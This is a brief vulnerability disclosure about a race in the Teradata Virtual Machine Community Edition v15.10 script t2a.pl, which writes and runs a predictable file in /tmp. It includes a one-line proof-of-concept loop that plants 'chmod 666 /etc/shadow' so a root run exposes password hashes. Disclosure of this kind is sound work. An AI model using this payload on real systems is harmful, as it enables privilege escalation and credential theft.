Description: Teradata is a relational database, they provide a Virtual Machine image for developers and community use.
Vulnerability:
 Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp may lead to elevated code execution.
In /opt/teradata/gsctools/bin/t2a.pl

320         `chmod +x /tmp/$PROG.get_profile.scr ; /tmp/$PROG.get_profile.scr >/dev/null 2>&1` ;

If a regular user controls  /tmp/t2a.pl.get_profile.scr before the person executing this script creates it they can inject
commands to be executed as that user.

for example:

$ while(true) do echo "chmod 666 /etc/shadow" >  /tmp/t2a.pl.get_profile.scr; done

If root or any other account runs that .pl script I see these files being created in /tmp
